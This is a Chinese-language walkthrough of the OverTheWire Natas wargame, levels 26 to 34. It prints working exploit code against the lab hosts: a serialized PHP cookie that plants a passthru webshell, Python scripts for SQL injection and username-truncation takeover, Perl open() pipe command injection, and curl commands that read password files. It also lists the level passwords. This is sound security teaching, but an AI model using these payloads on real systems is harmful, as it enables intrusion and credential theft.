Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czozNjoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvbXlsb2cucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MTQ6IlN0YXJ0IGxvZ2dpbmcKIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6NTM6Ijw%2FcGhwIHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KIjt9
下面就是kali的活了。

验证一波,

正确!
等同于python脚本:
import requests
username = 'natas26'
password = 'cVXXwxMS3Y26n5UZU89QgpGmWCelaQlE'
url_1 = 'http://natas26.natas.labs.overthewire.org/?x1=2&y1=2&x2=2&y2=2'
url_2 = 'http://natas26.natas.labs.overthewire.org/img/mylog.php'
cookie_value = "Tzo2OiJMb2dnZXIiOjM6e3M6MTU6IgBMb2dnZXIAbG9nRmlsZSI7czozNjoiL3Zhci93d3cvbmF0YXMvbmF0YXMyNi9pbWcvbXlsb2cucGhwIjtzOjE1OiIATG9nZ2VyAGluaXRNc2ciO3M6MTQ6IlN0YXJ0IGxvZ2dpbmcKIjtzOjE1OiIATG9nZ2VyAGV4aXRNc2ciO3M6NTM6Ijw%2FcGhwIHBhc3N0aHJ1KCdjYXQgL2V0Yy9uYXRhc193ZWJwYXNzL25hdGFzMjcnKTsgPz4KIjt9"
cookies = {'drawing': cookie_value}
response_1 = requests.get(url_1, auth=(username, password), cookies=cookies)
print(response_1.text)
response_2 = requests.get(url_2, auth=(username, password), cookies=cookies)
print(response_2.text)
u3RRffXjysjgwFU6b9xa23i6prmUsYne。
natas27
这几关果然都是大巨头啊。
<body>
<h1>natas27</h1>
<div id="content">
<?php
// morla / 10111
// database gets cleared every 5 min
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
function checkCredentials($link,$usr,$pass){
$user=mysqli_real_escape_string($link, $usr);
$password=mysqli_real_escape_string($link, $pass);
$query = "SELECT username from users where username='$user' and password='$password' ";
$res = mysqli_query($link, $query);
if(mysqli_num_rows($res) > 0){
return True;
}
return False;
}
function validUser($link,$usr){
$user=mysqli_real_escape_string($link, $usr);
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
return True;
}
}
return False;
}
function dumpData($link,$usr){
$user=mysqli_real_escape_string($link, trim($usr));
$query = "SELECT * from users where username='$user'";
$res = mysqli_query($link, $query);
if($res) {
if(mysqli_num_rows($res) > 0) {
while ($row = mysqli_fetch_assoc($res)) {
// thanks to Gobo for reporting this bug!
//return print_r($row);
return print_r($row,true);
}
}
}
return False;
}
function createUser($link, $usr, $pass){
if($usr != trim($usr)) {
echo "Go away hacker";
return False;
}
$user=mysqli_real_escape_string($link, substr($usr, 0, 64));
$password=mysqli_real_escape_string($link, substr($pass, 0, 64));
$query = "INSERT INTO users (username,password) values ('$user','$password')";
$res = mysqli_query($link, $query);
if(mysqli_affected_rows($link) > 0){
return True;
}
return False;
}
if(array_key_exists("username", $_REQUEST) and array_key_exists("password", $_REQUEST)) {
$link = mysqli_connect('localhost', 'natas27', '<censored>');
mysqli_select_db($link, 'natas27');
if(validUser($link,$_REQUEST["username"])) {
//user exists, check creds
if(checkCredentials($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "Welcome " . htmlentities($_REQUEST["username"]) . "!<br>";
echo "Here is your data:<br>";
$data=dumpData($link,$_REQUEST["username"]);
print htmlentities($data);
}
else{
echo "Wrong password for user: " . htmlentities($_REQUEST["username"]) . "<br>";
}
}
else {
//user doesn't exist
if(createUser($link,$_REQUEST["username"],$_REQUEST["password"])){
echo "User " . htmlentities($_REQUEST["username"]) . " was created!";
}
}
mysqli_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
Password: <input name="password" type="password"><br>
<input type="submit" value="login" />
</form>
<?php } ?>
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
这里不在梳理,同上一关的梳理思路,自行研读并梳理。
关键点是要创建一个用户createUser,然后使checkCredentials里的mysqli_num_rows(\(res) > 0,以及使dumpData返回return print_r(\)row,true)。而前提是validUser为真,这其中的大多数环节都需要mysqli_num_rows($res) > 0为真。
可以利用varchar(64)字符串溢出的特点:两个注册名前缀相同,但其中一个超出字符长度限制。这个超出字符长度限制的用户名注册成功后,他与不超出字符长度限制的用户同名自然密码也相同。
因而,编写脚本。
import requests
url = 'http://natas27.natas.labs.overthewire.org/index.php'
username='natas27'
password='u3RRffXjysjgwFU6b9xa23i6prmUsYne'
# Step 1: Create a new user "natas28 " (57 spaces following)
data={"username": 'natas28'+ '\x00'* 70+'aaa' ,"password": '123q'}
print("Sending a request to create a user similar to natas28...")
response = requests.post(url, auth=(username,password), data=data)
print(response.text)
# Step 2: Send a query request for "natas28"
print("Trying to log in...")
data={"username": 'natas28', "password": '123q'}
response_1 = requests.post(url, auth=(username,password), data=data)
print(response_1.text)
运行结果(节选):
<div id="content">
User natas28aaa was created!
</div>
<body>
<h1>natas27</h1>
<div id="content">
Welcome natas28!<br>Here is your data:<br>Array
(
[username] => natas28
[password] => 1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj
)
<div id="viewsource"><a href="index-source.html">View sourcecode</a></div>
</div>
</body>
1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj。
natas28
这一关是加解密和爆破(ECB),不熟悉的话,建议阅读natas28
这里,我直接对natas28进行了简易的修改。

源码:
import requests
import urllib
import base64
url = "http://natas28.natas.labs.overthewire.org"
username ='natas28'
password ='1JNwQM1Oi6J6j1k49Xyw7ZN6pXMQInVj'
# First we generate a baseline for the header/footer
data = {'query':10 * ' '}
r = requests.post(url, auth=(username, password),data=data)
baseline = urllib.parse.unquote(r.url.split('=')[1])
baseline = base64.b64decode(baseline.encode('utf-8'))
header = baseline[:48]
footer = baseline[48:]
# We generate the ciphertext query and parse the result
sqli = 9 * " " + "' UNION ALL SELECT password FROM users;#"
data = {'query':sqli}
r = requests.post(url, auth=(username, password),data=data)
exploit = urllib.parse.unquote(r.url.split('=')[1])
exploit = base64.b64decode(exploit.encode('utf-8'))
# We computer the size of our payload
nblocks = len(sqli) - 10
while nblocks % 16 != 0:
nblocks += 1
nblocks = int(nblocks / 16)
# Then, we forge the query
final = header + exploit[48:(48 + 16 * nblocks)] + footer
final_ciphertext = base64.b64encode(final)
search_url = "http://natas28.natas.labs.overthewire.org/search.php"
response = requests.get(search_url, params={"query":final_ciphertext},auth=(username, password))
print(response.text)
31F4j3Qi2PnuhIZQokxXk1L3QT9Cppns。
natas29
又是什么东西?Perl,我们可以利用Perl 中的 open() 函数来实施命令注入。此函数可用于命令执行,只需在文件名前加上竖线(即 “|”) 即可。
为了绕过文件扩展名,我们在 URL 的末尾附加“%00”,终止符 '\0' 的 url 编码。相当于截断字符。
尝试执行?file=|cat /etc/natas_webpass/natas30 \0时,发现natas会被转义。多次尝试,发现?(问号)不行,引号可以。
执行?file=|cat /etc/na''tas_webpass/nat''as30 \0后,看到

WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH。
natas30
部分页面源码:
use CGI qw(:standard);
use DBI;
print <<END;
END
if ('POST' eq request_method && param('username') && param('password')){
my $dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});
my $query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password'));
my $sth = $dbh->prepare($query);
$sth->execute();
my $ver = $sth->fetch();
if ($ver){
print "win!<br>";
print "here is your result:<br>";
print @$ver;
}
else{
print "fail :(";
}
$sth->finish();
$dbh->disconnect();
}
print <<END;
分析:$sth->fetch() ----> $dbh->prepare($query) ---->$query="Select * FROM users where username =".$dbh->quote(param('username')) . " and password =".$dbh->quote(param('password')); (<----$dbh = DBI->connect( "DBI:mysql:natas30","natas30", "<censored>", {'RaiseError' => 1});)
看来跟SQL和DBI或CGI有关系。关键点是要我们输入某种SQL查询语句,能够确保$ver值为真,才会win!而分析的关键是dbh后面的quote是什么玩意?它具备什么属性?了解后就一通百通了。
这里,我们用带字符串和整数的数组来绕过,例如 ["'a' or 1", 4]。当执行这个命令时,它会自动拼接字符串里的内容。相当于执行Select * FROM users where username ='natas30' and password ='a' or 1(与1=1同效果), 4,这里password ='a' or 1(与1=1同效果)的结果为真,前面结果也为真。因而,成功执行!
打开Kali
curl --request POST 'http://natas30.natas.labs.overthewire.org/index.pl' \
--user 'natas30:WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH' \
--data 'username=natas31' \
--data 'password=%27a%27%20or%201&password=4'
结果:

等同于脚本
import requests
url = 'http://natas30.natas.labs.overthewire.org/index.pl'
auth = ('natas30', 'WQhx1BvcmP9irs2MP9tRnLsNaDI76YrH')
payload ={ "username": "natas31", "password": ["'a' or 1", 4] }
response = requests.post(url, auth=auth, data=payload)
print(response.text)
m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y。
natas31
页面源码:
use CGI;
$ENV{'TMPDIR'}="/var/www/natas/natas31/tmp/";
print <<END;
END
my $cgi = CGI->new;
if ($cgi->upload('file')) {
my $file = $cgi->param('file');
print '<table class="sortable table table-hover table-striped">';
$i=0;
while (<$file>) {
my @elements=split /,/, $_;
if($i==0){ # header
print "<tr>";
foreach(@elements){
print "<th>".$cgi->escapeHTML($_)."</th>";
}
print "</tr>";
}
else{ # table content
print "<tr>";
foreach(@elements){
print "<td>".$cgi->escapeHTML($_)."</td>";
}
print "</tr>";
}
$i+=1;
}
print '</table>';
}
else{
print <<END;
看到upload这个字眼,肯定是RCE或文件上传。于是,准备写php语句获取关键信息。
写入test.csv的内容和运行下列curl命令后的截图
curl -u natas31:m7bfjAHpJmSYgQWWeqRE2qVBuMiRNq0y "http://natas31.natas.labs.overthewire.org/index.pl?/etc/natas_webpass/natas32" -F "file=ARGV" -F "file=@test.csv"

但是,运行curl命令之前需要上传test.csv文件验证我们的想法。从图片中,我们可以看到写php语句获取关键信息的想法是正确的。

NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B。
natas32
页面源码和上一关的差不多,应该也是RCE或文件上传。
查看所属目录下的文件和属性,获取getpassword敏感信息。
命令1.
curl -u natas32:NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B "http://natas32.natas.labs.overthewire.org/index.pl?ls%20-l%20.%20|" -F "file=ARGV" -F "file=@test.csv"
命令2.
curl -u natas32:NaIWhW2VIrKqrc7aroJVHOZvk3RQMi0B "http://natas32.natas.labs.overthewire.org/index.pl?./getpassword%20|" -F "file=ARGV" -F "file=@test.csv"
执行命令1,命令2后的结果:

2v9nDlbSF7jvawaCncr5Z9kSzkmBeoCJ。
natas33
<?php
// graz XeR, the first to solve it! thanks for the feedback!
// ~morla
class Executor{
private $filename="";
private $signature='adeafbadbabec0dedabada55ba55d00d';
private $init=False;
function __construct(){
$this->filename=$_POST["filename"];
if(filesize($_FILES['uploadedfile']['tmp_name']) > 4096) {
echo "File is too big<br>";
}
else {
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], "/natas33/upload/" . $this->filename)) {
echo "The update has been uploaded to: /natas33/upload/$this->filename<br>";
echo "Firmware upgrad initialised.<br>";
}
else{
echo "There was an error uploading the file, please try again!<br>";
}
}
}
function __destruct(){
// upgrade firmware at the end of this script
// "The working directory in the script shutdown phase can be different with some SAPIs (e.g. Apache)."
chdir("/natas33/upload/");
if(md5_file($this->filename) == $this->signature){
echo "Congratulations! Running firmware update: $this->filename <br>";
passthru("php " . $this->filename);
}
else{
echo "Failur! MD5sum mismatch!<br>";
}
}
}
?>
<h1>natas33</h1>
<div id="content">
<h2>Can you get it right?</h2>
<?php
session_start();
if(array_key_exists("filename", $_POST) and array_key_exists("uploadedfile",$_FILES)) {
new Executor();
}
?>
<form enctype="multipart/form-data" action="index.php" method="POST">
<input type="hidden" name="MAX_FILE_SIZE" value="4096" />
<input type="hidden" name="filename" value="<?php echo session_id(); ?>" />
看关键词吧,看到move_uploaded_file想到RCE的文件上传,看到__destruct()想到php的反序列化和序列化,看到md5_file想到哈希加解密,看到session_id()想到查看Session值,看到 passthru()想到一句话木马......思绪还在飞翔,随之也慢慢地打开各种工具。
目前本人对php和phar的这些操作了解的还不够清楚,主要是反序列化包含的phar文件怎么得来,实施攻击的一些原理和多个php文件三者之间的联系。
建议参考大佬的题解[Natas33 |博客园] (https://www.cnblogs.com/zhengna/p/12381943.html)。
需要其他的解法阅读或观看
Natas33_1 |github.io 听这篇文章说是2018blackhat公布的一个用phar构造php反序列化的漏洞。
natas33_2
natas34
Done!You through the natas!win!
致谢
预备工作
阅读之前本文,建议阅读以下文档,完成安装或配置相关工具的预备工作:
- kali kali安装 | CSDN Kali Linux 镜像|官网
vim Vim 使用|博客园 Vim 使用|gitbook | cn
熟悉Linux命令,主要是grep,ls,cat Linux命令|C语言中文网 - vscode with python,php
Vscode Python | CSDN
Vscode php|CSDN
- Vscode Python一文补充,在VS Code中按下
Ctrl + Shift + P后,输入Python: Select Interpreter。从列表中选择正确的Python解释器,............
- 准备Firefox,Chrome浏览器。主要是Firefox,需要安装hackbar v2等插件。F12开发者模式,两种浏览器的选择皆可。
- 准备BurpSuite。
BurpSuite安装|CSDN
antSword(其实本文没有用到,不过可以尝试熟悉下)
AntSword 安装|Freebuf AntSword 使用|CSDN
主要链接
除了预备工作和个别关卡引用到的文章和网页,主要向以下链接的作者致谢:

浙公网安备 33010602011771号